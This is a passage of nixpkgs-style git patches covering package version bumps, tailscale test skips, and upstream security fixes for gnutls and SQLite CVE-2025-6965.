-         $device eq "0x4329" || $device eq "0x432a" || $device eq "0x432b" ||
-         $device eq "0x432c" || $device eq "0x432d" || $device eq "0x4353" ||
-         $device eq "0x4357" || $device eq "0x4358" || $device eq "0x4359" ||
-         $device eq "0x4331" || $device eq "0x43a0" || $device eq "0x43b1"
-        ) )
-     {
-        push @modulePackages, "config.boot.kernelPackages.broadcom_sta";
-        push @kernelModules, "wl";
-     }
-
     # broadcom FullMac driver
     # list taken from
     # https://wireless.wiki.kernel.org/en/users/Drivers/brcm80211#brcmfmac

From f63032fced3c39803ec18690e759099f1561a3f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 20:14:19 +0000
Subject: [PATCH 2943/4511] outline: 0.85.0 -> 0.85.1

(cherry picked from commit 7fd85e60a7847e7f6a3f2d1461de36018b14af62)
---
 pkgs/servers/web-apps/outline/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/web-apps/outline/default.nix b/pkgs/servers/web-apps/outline/default.nix
index 2529ba6acb92..1423876c41b5 100644
--- a/pkgs/servers/web-apps/outline/default.nix
+++ b/pkgs/servers/web-apps/outline/default.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation rec {
   pname = "outline";
-  version = "0.85.0";
+  version = "0.85.1";
 
   src = fetchFromGitHub {
     owner = "outline";
     repo = "outline";
     rev = "v${version}";
-    hash = "sha256-xzZQ0+eJOznZWpApbh9SUGuA5XiLnbhQS0qBLrLfk9Y=";
+    hash = "sha256-lErNsYzxqZYVl1MAQdMk062nBORjQGd3C+UbGbZMzvA=";
   };
 
   nativeBuildInputs = [

From 7e805bc0e2e19d9d0e0f085b78869052a357ebd0 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 27 Jul 2025 09:14:24 -0400
Subject: [PATCH 2944/4511] rustfinity: remove useFetchCargoVendor usages

(cherry picked from commit 398b16e16cc688d8ffcf820d1ec50a55da44a108)
---
 pkgs/by-name/ru/rustfinity/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/ru/rustfinity/package.nix b/pkgs/by-name/ru/rustfinity/package.nix
index 29fa3d875217..e19318429fd6 100644
--- a/pkgs/by-name/ru/rustfinity/package.nix
+++ b/pkgs/by-name/ru/rustfinity/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yBWhY4Uta/K/Ka5DzhpZUiv0Y3Yfn4dI4ZARpJqTqY8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ifVhVFiTO1CVpWo6B9OZXJwuc40IRkSc4ncMXG+5DnE=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];

From d3c139fb56fff091a1670eac7dc495667dcea241 Mon Sep 17 00:00:00 2001
From: yapxuan <puiyongqing@gmail.com>
Date: Sun, 27 Jul 2025 02:45:17 +0800
Subject: [PATCH 2945/4511] rustfinity: 0.2.13 -> 0.2.14

Upstream does not provide tags or a changelog.
Changes between versions can be viewed at:
https://github.com/rustfinity/rustfinity/compare/ea9aa4a4ba14e5111e6da9ef4f0d5dda9bb95341...59d180703ed1cb23123ddf8afeb8992e8c8a0509

(cherry picked from commit e8fb58a774884370811f85a8d6b166c20da5f132)
---
 pkgs/by-name/ru/rustfinity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/rustfinity/package.nix b/pkgs/by-name/ru/rustfinity/package.nix
index e19318429fd6..dd2b1d262070 100644
--- a/pkgs/by-name/ru/rustfinity/package.nix
+++ b/pkgs/by-name/ru/rustfinity/package.nix
@@ -8,14 +8,14 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "rustfinity";
-  version = "0.2.13";
+  version = "0.2.14";
 
   src = fetchCrate {
     inherit pname version;
-    hash = "sha256-yBWhY4Uta/K/Ka5DzhpZUiv0Y3Yfn4dI4ZARpJqTqY8=";
+    hash = "sha256-Oh+AEgmBhlOQaCFECheuHCXT6hndpUnZH/l+tWMp2RQ=";
   };
 
-  cargoHash = "sha256-ifVhVFiTO1CVpWo6B9OZXJwuc40IRkSc4ncMXG+5DnE=";
+  cargoHash = "sha256-e1RnPqfgeyeEh8Av81RTuaMgYc6zoBZcygbc29DNKqE=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ openssl ];

From 76b696bb84dcc26e3d8b0c68ce99f5de97fe5e57 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Oliv=C3=A9r=20Falvai?= <ofalvai@gmail.com>
Date: Thu, 15 May 2025 17:08:05 +0200
Subject: [PATCH 2946/4511] tailscale: skip one more flaky test

(cherry picked from commit 679fc06cb8aa46ed82f0e190c074f12a8116c86a)
---
 pkgs/by-name/ta/tailscale/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index 803e5ed9c139..7a04ed351ebf 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -137,6 +137,9 @@ buildGoModule {
 
         # flaky: https://github.com/tailscale/tailscale/issues/7030
         "TestConcurrent"
+
+        # flaky: https://github.com/tailscale/tailscale/issues/11762
+        "TestTwoDevicePing"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # syscall default route interface en0 differs from netstat

From de2dbdcebbeb8e3bd0e7a4a4f028c3d57fb94284 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Thu, 22 May 2025 12:42:02 +0200
Subject: [PATCH 2947/4511] tailscale: disable timeout taildrop tests

(cherry picked from commit 4b78b9bee5031af00396643018feb2d2b9045c31)
---
 pkgs/by-name/ta/tailscale/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index 7a04ed351ebf..77b87dd527f4 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -140,6 +140,10 @@ buildGoModule {
 
         # flaky: https://github.com/tailscale/tailscale/issues/11762
         "TestTwoDevicePing"
+
+        # timeout 10m
+        "TestTaildropIntegration"
+        "TestTaildropIntegration_Fresh"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # syscall default route interface en0 differs from netstat

From 2cd1c3afa1600eab993b29bc87952ab98807d5e6 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Thu, 22 May 2025 13:00:40 +0200
Subject: [PATCH 2948/4511] tailscale: disable packet_filter_test

(cherry picked from commit a296d255d98fcac8de4353027b84f3b6ba09650e)
---
 pkgs/by-name/ta/tailscale/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index 77b87dd527f4..aed8172b5a1f 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -98,6 +98,10 @@ buildGoModule {
 
     # several tests hang
     rm tsnet/tsnet_test.go
+
+    # new test, probably missing import
+    # reported: https://github.com/tailscale/tailscale/issues/16051
+    rm tsnet/packet_filter_test.go
   '';
 
   checkFlags =

From 566b08a4a294905bb39bbe95eef3f021148c1f58 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Fri, 23 May 2025 18:04:56 +0200
Subject: [PATCH 2949/4511] tailscale: remove unused fetchpatch

(cherry picked from commit 25122135e6c5976ee41c0d560c125a618ee53d6d)
---
 pkgs/by-name/ta/tailscale/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index aed8172b5a1f..b58edfae578c 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -4,7 +4,6 @@
 
   buildGoModule,
   fetchFromGitHub,
-  fetchpatch,
 
   makeWrapper,
   installShellFiles,

From 65c9be4873c28849513fe4311feb27a7389a8960 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Fri, 23 May 2025 18:05:58 +0200
Subject: [PATCH 2950/4511] tailscale: re-enable `packet_filter_test.go`

Co-authored-by: Kenichi Kamiya <kachick1@gmail.com>
(cherry picked from commit 69984d594fc4d175fd0cf0762f98801dc598b99d)
---
 pkgs/by-name/ta/tailscale/package.nix | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index b58edfae578c..ccae652c2c6e 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -95,12 +95,10 @@ buildGoModule {
     # want but also limits the tests
     unset subPackages
 
-    # several tests hang
-    rm tsnet/tsnet_test.go
-
-    # new test, probably missing import
-    # reported: https://github.com/tailscale/tailscale/issues/16051
-    rm tsnet/packet_filter_test.go
+    # several tests hang, but keeping the file for tsnet/packet_filter_test.go
+    # packet_filter_test issue: https://github.com/tailscale/tailscale/issues/16051
+    substituteInPlace tsnet/tsnet_test.go \
+      --replace-fail 'func Test' 'func skippedTest'
   '';
 
   checkFlags =
@@ -147,6 +145,9 @@ buildGoModule {
         # timeout 10m
         "TestTaildropIntegration"
         "TestTaildropIntegration_Fresh"
+
+        # context deadline exceeded
+        "TestPacketFilterFromNetmap"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # syscall default route interface en0 differs from netstat

From 6ee8b7003e289d2aba1c4df8c82c3490d1d1b585 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Oliv=C3=A9r=20Falvai?= <ofalvai@gmail.com>
Date: Sat, 31 May 2025 10:57:29 +0200
Subject: [PATCH 2951/4511] tailscale: disable flaky test

(cherry picked from commit 428a14cb18a2630787da4d0395bc49230450ce28)
---
 pkgs/by-name/ta/tailscale/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index ccae652c2c6e..a706e85501e1 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -148,6 +148,9 @@ buildGoModule {
 
         # context deadline exceeded
         "TestPacketFilterFromNetmap"
+
+        # flaky: https://github.com/tailscale/tailscale/issues/15348
+        "TestSafeFuncHappyPath"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # syscall default route interface en0 differs from netstat

From 50ce77821aa904620f687d40d3dd483995136af5 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Fri, 25 Jul 2025 08:44:12 +0200
Subject: [PATCH 2952/4511] buffer: 0.10.0 -> 0.10.1

(cherry picked from commit aa3646e320362bcbf5a1a0208e867ee031182eac)
---
 pkgs/by-name/bu/buffer/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/buffer/package.nix b/pkgs/by-name/bu/buffer/package.nix
index 6dd991fa261b..2e91c32e236c 100644
--- a/pkgs/by-name/bu/buffer/package.nix
+++ b/pkgs/by-name/bu/buffer/package.nix
@@ -18,14 +18,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "buffer";
-  version = "0.10.0";
+  version = "0.10.1";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "cheywood";
     repo = "buffer";
     tag = finalAttrs.version;
-    hash = "sha256-81riamRKzV4wXVTXkp1ngO/5mG7leRJMw/r2DDHl8LU=";
+    hash = "sha256-AkgmKMMy3tBgJudJ2Mm8LFV+aE0QbviKxgAJEZ9A3cg=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From 70db00a101a56b8b4b17d7eb3799054276c487fc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Jul 2025 05:51:52 +0000
Subject: [PATCH 2953/4511] flyctl: 0.3.157 -> 0.3.161

(cherry picked from commit 2a0273746977c744db7f432eb668c1f4adf1ff72)
---
 pkgs/by-name/fl/flyctl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 1eedf6ed722e..f9d6b7192b1f 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.157";
+  version = "0.3.161";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-R5hZLY7uKYfSQdSnYkCruobdHiUZfHshnb/oIYbCMEc=";
+    hash = "sha256-ctE8X3vyNqbdYQuDrmCLmwy/EMGpJFRnlcjxnRji1Zo=";
   };
 
   vendorHash = "sha256-OwxzdLXNPiQRq6mgvZaOs8tnNZQm0mYyzyPFUYcokb0=";

From f61b38a6d05e281c9328bbbabfbf425493969db6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 14:35:43 +0000
Subject: [PATCH 2954/4511] ibus-engines.table-others: 1.3.20 -> 1.3.21

(cherry picked from commit ff82dbd1d7029548dec594ec0183ad2c690a381a)
---
 .../inputmethods/ibus-engines/ibus-table-others/default.nix   | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-table-others/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-table-others/default.nix
index 134a6602f23d..fca8239debde 100644
--- a/pkgs/tools/inputmethods/ibus-engines/ibus-table-others/default.nix
+++ b/pkgs/tools/inputmethods/ibus-engines/ibus-table-others/default.nix
@@ -10,11 +10,11 @@
 
 stdenv.mkDerivation rec {
   pname = "ibus-table-others";
-  version = "1.3.20";
+  version = "1.3.21";
 
   src = fetchurl {
     url = "https://github.com/moebiuscurve/ibus-table-others/releases/download/${version}/${pname}-${version}.tar.gz";
-    hash = "sha256-mi2vF+OH3c9lgWFxswzCbENCleTWLHNE8clzZcdcwfM=";
+    hash = "sha256-/3ZDQCc/u2HKlL0+kZ0g4Gbjrkk++l3lSrWQz7CvwaQ=";
   };
 
   nativeBuildInputs = [

From b4718edb45772f2bbc98fcfe96162f0d7fcd48c5 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sat, 26 Jul 2025 23:08:50 +0200
Subject: [PATCH 2955/4511] ustreamer: 6.31 -> 6.39

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 7198c1241d492c0f9d32de0d09bf20b80a040359)
---
 pkgs/by-name/us/ustreamer/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/us/ustreamer/package.nix b/pkgs/by-name/us/ustreamer/package.nix
index 7fd8bba30a71..10aa23247573 100644
--- a/pkgs/by-name/us/ustreamer/package.nix
+++ b/pkgs/by-name/us/ustreamer/package.nix
@@ -21,13 +21,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ustreamer";
-  version = "6.31";
+  version = "6.39";
 
   src = fetchFromGitHub {
     owner = "pikvm";
     repo = "ustreamer";
-    rev = "v${version}";
-    hash = "sha256-SvvIY52FMO6Y4B6TOfk7dLtci4OayPX6+d8voKenKbQ=";
+    tag = "v${version}";
+    hash = "sha256-Lc0cwzt7rGfbJSLdZTDVdmkub6Z2KnTz5PRpEvtHsKM=";
   };
 
   buildInputs = [

From 0142dc559c0524a4d4a1f0c6ac028f4b102b00ff Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 13:33:19 +0000
Subject: [PATCH 2956/4511] nebula: 1.9.5 -> 1.9.6

(cherry picked from commit 4f441fc808ffa2161f83da6b015065ab74d0e055)
---
 pkgs/by-name/ne/nebula/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/nebula/package.nix b/pkgs/by-name/ne/nebula/package.nix
index 79bb79f6ed24..cc6b13a28e98 100644
--- a/pkgs/by-name/ne/nebula/package.nix
+++ b/pkgs/by-name/ne/nebula/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "nebula";
-  version = "1.9.5";
+  version = "1.9.6";
 
   src = fetchFromGitHub {
     owner = "slackhq";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-IJMmVKdgYCXCaRndlcoozFBr+RsUhzC1Eqo427K1k+o=";
+    hash = "sha256-klVbLseqIaibcXL83BVjRgY1ziZlxf+w4bRkkPlUnlU=";
   };
 
   vendorHash = "sha256-oXhq+s5gDKPVClZpOzYi7BaYwcDqbCLBEO5BNGy9LJA=";

From 161d9aef5a82d6142423e89aa916d85e3221833d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 27 Jul 2025 17:05:36 +0000
Subject: [PATCH 2957/4511] mmctl: 10.5.8 -> 10.5.9

(cherry picked from commit 42d7d8f51b443f4fd18ea2f4b33168a44047b1cb)
---
 pkgs/by-name/ma/mattermost/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mattermost/package.nix b/pkgs/by-name/ma/mattermost/package.nix
index 55114a5c9a2a..aae23999cc15 100644
--- a/pkgs/by-name/ma/mattermost/package.nix
+++ b/pkgs/by-name/ma/mattermost/package.nix
@@ -19,8 +19,8 @@
     #
     # Ensure you also check ../mattermostLatest/package.nix.
     regex = "^v(10\\.5\\.[0-9]+)$";
-    version = "10.5.8";
-    srcHash = "sha256-yzC+QyGs8bynEOyZejMElh/gRKakUhw21eiqiah0K5s=";
+    version = "10.5.9";
+    srcHash = "sha256-Jnm6M9d5vkYGX357QiOvCRDPGFpvRrsWqk8+SV0PtBs=";
     vendorHash = "sha256-uryErnXPVd/gmiAk0F2DVaqz368H6j97nBn0eNW7DFk=";
     npmDepsHash = "sha256-tIeuDUZbqgqooDm5TRfViiTT5OIyN0BPwvJdI+wf7p0=";
     lockfileOverlay = ''

From a63352447478ae47dc08d46e60cf5a90069605dc Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Sun, 27 Jul 2025 22:01:41 +0000
Subject: [PATCH 2958/4511] miniflux: 2.2.10 -> 2.2.11

https://miniflux.app/releases/2.2.11.html
(cherry picked from commit 8f66a11cc1d84d221e9d0f9d719352b05a35b1f3)
---
 pkgs/by-name/mi/miniflux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/miniflux/package.nix b/pkgs/by-name/mi/miniflux/package.nix
index de3e053a1596..4a9ea40bd4cf 100644
--- a/pkgs/by-name/mi/miniflux/package.nix
+++ b/pkgs/by-name/mi/miniflux/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "miniflux";
-  version = "2.2.10";
+  version = "2.2.11";
 
   src = fetchFromGitHub {
     owner = "miniflux";
     repo = "v2";
     tag = version;
-    hash = "sha256-hCRtopJ+PN9bjnImPXKuQRq2Sk62By2+T6z17yISfds=";
+    hash = "sha256-0gheLIwokJWanCOU1gWFyY6KBLqX+02plSp+iLHxd/Y=";
   };
 
-  vendorHash = "sha256-jKtlIDPOElp37NlOIbT6IXn2s59NqNTRNK0LbTlxWsM=";
+  vendorHash = "sha256-hBvMAPmoGbxz3bV1NCA5nuNC7yv8v8h19pWCispLV3c=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From a210954f5b04eccaab9913ee7ce18879be4ec5d8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 13:47:54 +0000
Subject: [PATCH 2959/4511] juju: 3.6.5 -> 3.6.6

(cherry picked from commit b9026ca20ed74f0f3720bb521afc168fabad8da5)
---
 pkgs/by-name/ju/juju/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ju/juju/package.nix b/pkgs/by-name/ju/juju/package.nix
index 99b82625407b..4ec26bd4d5fc 100644
--- a/pkgs/by-name/ju/juju/package.nix
+++ b/pkgs/by-name/ju/juju/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule rec {
   pname = "juju";
-  version = "3.6.5";
+  version = "3.6.6";
 
   src = fetchFromGitHub {
     owner = "juju";
     repo = "juju";
     rev = "v${version}";
-    hash = "sha256-Ruwmj+MrqulB+XwbE3qvqFJ/yt0ttwFuM9lqXV9YI7k=";
+    hash = "sha256-6LMeeWusowwN1Afma+oRrWIYi7BeEH8NRquE8GAx+iQ=";
   };
 
   vendorHash = "sha256-/BejA4Wn+SbKQHDqA7hanVaTKzaInLNOMSlesy714VI=";

From fd93dc16abd63afaddc16f68303ef594e91ba93c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 05:19:20 +0000
Subject: [PATCH 2960/4511] juju: 3.6.6 -> 3.6.7

(cherry picked from commit 9ef039f3edda7dffc905539891329a78e3c8c870)
---
 pkgs/by-name/ju/juju/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ju/juju/package.nix b/pkgs/by-name/ju/juju/package.nix
index 4ec26bd4d5fc..352c49a86c62 100644
--- a/pkgs/by-name/ju/juju/package.nix
+++ b/pkgs/by-name/ju/juju/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "juju";
-  version = "3.6.6";
+  version = "3.6.7";
 
   src = fetchFromGitHub {
     owner = "juju";
     repo = "juju";
     rev = "v${version}";
-    hash = "sha256-6LMeeWusowwN1Afma+oRrWIYi7BeEH8NRquE8GAx+iQ=";
+    hash = "sha256-FJ6LZcsokno+VTj+mXO0YD8Q9qC5qG3CgXqnrPNokRY=";
   };
 
-  vendorHash = "sha256-/BejA4Wn+SbKQHDqA7hanVaTKzaInLNOMSlesy714VI=";
+  vendorHash = "sha256-blzjN9UknamoffR5Kpd1HmGhB+bWb+zL0SnzelW40M0=";
 
   subPackages = [
     "cmd/juju"

From cadce4b023a43102ae947999677c7ab3a7091d99 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 18:44:54 +0000
Subject: [PATCH 2961/4511] juju: 3.6.7 -> 3.6.8

(cherry picked from commit 703e7154870e96506a0e6b56d5c179f4429c92a1)
---
 pkgs/by-name/ju/juju/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ju/juju/package.nix b/pkgs/by-name/ju/juju/package.nix
index 352c49a86c62..38ebbc9ea81e 100644
--- a/pkgs/by-name/ju/juju/package.nix
+++ b/pkgs/by-name/ju/juju/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "juju";
-  version = "3.6.7";
+  version = "3.6.8";
 
   src = fetchFromGitHub {
     owner = "juju";
     repo = "juju";
     rev = "v${version}";
-    hash = "sha256-FJ6LZcsokno+VTj+mXO0YD8Q9qC5qG3CgXqnrPNokRY=";
+    hash = "sha256-Y+sUR8HURkiICa6lffz0u3CeX9bzOjtbFOdvy7PaZfU=";
   };
 
-  vendorHash = "sha256-blzjN9UknamoffR5Kpd1HmGhB+bWb+zL0SnzelW40M0=";
+  vendorHash = "sha256-ghgXwaSyOVW3Viw+xA9r6KogKWJp0IWMByVdWCbE6hY=";
 
   subPackages = [
     "cmd/juju"

From 1e24967297f7a338af258f8d6f8f9a0f9e544b76 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 24 Jul 2025 19:54:10 +0200
Subject: [PATCH 2962/4511] gnutls: patch security issues from 3.8.10

Mentioned in
https://lists.gnupg.org/pipermail/gnutls-help/2025-July/004883.html
---
 pkgs/development/libraries/gnutls/default.nix | 41 ++++++++++++++++++-
 1 file changed, 40 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/gnutls/default.nix b/pkgs/development/libraries/gnutls/default.nix
index 5c6c2bdb66e5..cd96fc110de6 100644
--- a/pkgs/development/libraries/gnutls/default.nix
+++ b/pkgs/development/libraries/gnutls/default.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  fetchpatch,
   zlib,
   libtasn1,
   nettle,
@@ -82,7 +83,45 @@ stdenv.mkDerivation rec {
 
   patches = [
     ./nix-ssl-cert-file.patch
-  ];
+  ]
+  ++ (
+    let
+      fp =
+        name: commit: sha256:
+        fetchpatch {
+          name = "${name}.patch";
+          url = "https://gitlab.com/gnutls/gnutls/-/commit/${commit}.diff";
+          hash = "sha256-${sha256}";
+          excludes = [
+            "NEWS"
+            ".gitignore"
+            "tests/cert-tests/*"
+            "tests/Makefile.am"
+          ];
+        };
+    in
+    [
+      # This list is almost all of git log 3.8.10^..3.8.10
+      (fp "CVE-2025-32989" "8e5ca951257202089246fa37e93a99d210ee5ca2"
+        "I3q8+WyFohVrnWkQn1v2kUfc1NCIrAK/pceIhyddJ7w="
+      )
+      (fp "oss-fuzz-42513990" "208c6478d5c20b9d8a9f0a293e3808aa16ee091f"
+        "Dw3ib8wgw9dxneG8Iv19agxAytfr4JcuHrwxXyGdW7Q="
+      )
+      (fp "oss-fuzz-42536706" "61c0505634a6faacf9fa0723843408aa0d3fb90a"
+        "0la9GZhP2ol7KmKzi/sk9hslC8YcUe8cFJCqYqx44bY="
+      )
+      (fp "CVE-2025-32988" "608829769cbc247679ffe98841109fc73875e573"
+        "Tr0vatliZ0OuMc6KFSHacTwLRYteI54SR7/RtUD5Cb0="
+      )
+      (fp "CVE-2025-32990" "408bed40c36a4cc98f0c94a818f682810f731f32"
+        "Bpt1HcaIdcpqaeDvwZfNq73X1eNisI0Avu18ach7wdY="
+      )
+      (fp "CVE-2025-6395" "23135619773e6ec087ff2abc65405bd4d5676bad"
+        "xBk8bi2memjhFO0mgvTKid695YHRkHDiYXm48Uzqp8E="
+      )
+    ]
+  );
 
   # Skip some tests:
   #  - pkg-config: building against the result won't work before installing (3.5.11)

From f3b020219dd45dfcb310f34a9b8cbfb8c448a5ac Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 17 Jul 2025 15:43:16 +0000
Subject: [PATCH 2963/4511] vscode-extensions.apollographql.vscode-apollo:
 2.5.6 -> 2.6.2

(cherry picked from commit 73647ef31e783212d7d2c88c8c892504443476b8)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index 50dfdcbfd861..0a37c04f8ef3 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -318,8 +318,8 @@ let
         mktplcRef = {
           name = "vscode-apollo";
           publisher = "apollographql";
-          version = "2.5.6";
-          hash = "sha256-Uh3iFJXG8d0Ywjyx6sGpkYSD0Iy+y/0Uh0C6xYfQhKM=";
+          version = "2.6.2";
+          hash = "sha256-jS+YPE+D0Q3bw8BCMFseL4xdiW5f6LV7JosgMG3Huo8=";
         };
         meta = {
           changelog = "https://marketplace.visualstudio.com/items/apollographql.vscode-apollo/changelog";

From 9b2e67077eb3dfd091e76b81081971a5c99f6b14 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 25 Jul 2025 14:20:28 +0200
Subject: [PATCH 2964/4511] sqlite3: apply patch for CVE-2025-6965

---
 .../libraries/sqlite/CVE-2025-6965.patch      | 113 ++++++++++++++++++
 pkgs/development/libraries/sqlite/default.nix |   3 +
 2 files changed, 116 insertions(+)
 create mode 100644 pkgs/development/libraries/sqlite/CVE-2025-6965.patch

diff --git a/pkgs/development/libraries/sqlite/CVE-2025-6965.patch b/pkgs/development/libraries/sqlite/CVE-2025-6965.patch
new file mode 100644
index 000000000000..96da49e55980
--- /dev/null
+++ b/pkgs/development/libraries/sqlite/CVE-2025-6965.patch
@@ -0,0 +1,113 @@
+Index: src/expr.c
+==================================================================
+--- a/sqlite3.c
++++ b/sqlite3.c
+@@ -7013,11 +7013,13 @@
+   AggInfo *pAggInfo,   /* The AggInfo object to search and/or modify */
+   Expr *pExpr          /* Expr describing the column to find or insert */
+ ){
+   struct AggInfo_col *pCol;
+   int k;
++  int mxTerm = pParse->db->aLimit[SQLITE_LIMIT_COLUMN];
+ 
++  // assert( mxTerm <= SMXV(i16) ); # macro not available in 3.48.0
+   assert( pAggInfo->iFirstReg==0 );
+   pCol = pAggInfo->aCol;
+   for(k=0; k<pAggInfo->nColumn; k++, pCol++){
+     if( pCol->pCExpr==pExpr ) return;
+     if( pCol->iTable==pExpr->iTable
+@@ -7030,10 +7032,14 @@
+   k = addAggInfoColumn(pParse->db, pAggInfo);
